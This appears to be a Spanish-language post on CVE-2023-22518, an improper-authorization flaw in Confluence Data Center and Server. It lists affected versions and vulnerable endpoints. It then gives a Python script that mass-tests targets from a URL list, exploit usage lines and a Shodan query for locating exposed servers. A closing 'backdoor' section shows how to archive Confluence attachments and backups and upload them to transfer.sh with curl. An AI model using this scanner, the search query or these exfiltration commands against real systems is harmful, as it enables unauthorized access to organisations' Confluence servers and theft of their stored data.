
Vulnerabilidad de autorización inapropiada en Confluence Data Center y Server + bugsBonus 🔥
Vulnerabilidad de Autorización Incorrecta en Confluence Data Center y Server.
Atlassian ha advertido a los administradores sobre una vulnerabilidad crítica en Confluence. La explotación de esta vulnerabilidad puede provocar pérdida de datos, por lo que el desarrollador recomienda instalar el parche de inmediato.
Se señala que la vulnerabilidad no puede utilizarse para la filtración de datos y no afecta a los sitios de Atlassian Cloud a los que se accede a través del dominio atlassian.net.
Información detallada sobre la vulnerabilidad
| Producto | Versiones afectadas | Versiones parcheadas |
|---|---|---|
| Confluence Data Center | Todas las versiones afectadas | 7.19.16 en adelante |
| Confluence Server | 8.3.4 en adelante | |
| 8.4.4 en adelante | ||
| 8.5.3 en adelante | ||
| 8.6.1 en adelante |
Tipo: Autorización incorrecta
CWE: CWE-285 / CWE-266
ATT&CK: T1548.002
/json/setup-restore.action
/json/setup-restore-local.action
/json/setup-restore-progress.action
/server-info.action Foro
import requests
import random
import string
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(length=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))
def post_setup_restore(baseurl):
paths = ["/json/setup-restore.action", "/json/setup-restore-local.action", "/json/setup-restore-progress.action", "/server-info.action"]
for path in paths:
url = f"{baseurl.rstrip('/')}{path}"
headers = {
"X-Atlassian-Token": "no-check",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7"
}
rand_str = random_string()
data = (
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"buildIndex\"\r\n\r\n"
"true\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
f"Content-Disposition: form-data; name=\"file\";filename=\"{rand_str}.zip\"\r\n\r\n"
f"{rand_str}\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
"Upload and import\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7--\r\n"
)
try:
response = requests.post(url, headers=headers, data=data.encode('utf-8'), timeout=10, verify=False)
if (response.status_code == 200 and
'The zip file did not contain an entry' in response.text and
'exportDescriptor.properties' in response.text):
print(f"[+] ¡Vulnerable a CVE-2023-22518 en el host {url}!")
else:
print(f"[-] No es vulnerable a CVE-2023-22518 para el host {url}.")
except requests.RequestException as e:
print(f"[*] Error al conectar con {url}. Error: {e}")
def main():
parser = argparse.ArgumentParser(description="Script de restauración de configuración")
parser.add_argument('--url', help='La URL objetivo', required=False)
parser.add_argument('--file', help='Archivo que contiene una lista de URLs', required=False)
args = parser.parse_args()
if args.url:
post_setup_restore(args.url)
elif args.file:
with open(args.file, 'r') as f:
for line in f:
url = line.strip()
if url:
post_setup_restore(url)
else:
print("Debes proporcionar el argumento --url o --file.")
if __name__ == "__main__":
main()
pip install pycryptodome
python3 exploit.py
Ingrese URL: http://domain/json/setup-restore.action?synchronous=true
Ingrese la ruta al archivo .zip: /path/xmlexport-20231109-060519-1.zip
Búsqueda en Shodan:
http.favicon.hash:-305179312
Aplicación de backdoor para Confluence
Al restaurar Confluence usando esta vulnerabilidad, el directorio %CONFLUENCE_HOME%/attachments aún contiene muchos archivos, posiblemente miles. Extraerlos es bastante sencillo, y su extensión se puede determinar con el comando file de Linux. Por ejemplo:
file /var/lib/confluence/attachments/v4/191/28/77273124/77273124.1
/var/lib/confluence/attachments/v4/191/28/77273124/77273124.1: PNG image data, 442 x 170, 8-bit/color RGBA, non-interlaced
O
file /var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1
/var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1: PNG image data, 1250 x 674, 8-bit/color RGBA, non-interlaced
Ejemplo de cómo archivar fácilmente un directorio y descomprimir el archivo:
tar -czvf /var/atlassian/application-data/confluence/attachments_backup.tar.gz /var/atlassian/application-data/confluence/attachments
curl --upload-file /var/atlassian/application-data/attachments_backup.tar.gz https://transfer.sh/attachments_backup.tar.gz
https://transfer.sh/***********/attachments_backup.tar.gz
o
curl --upload-file /var/atlassian/application-data/confluence/backups/backup-2023_09_26.zip https://transfer.sh/backup-2023_09_26.zip
https://transfer.sh/***********/backup-2023_09_26.zip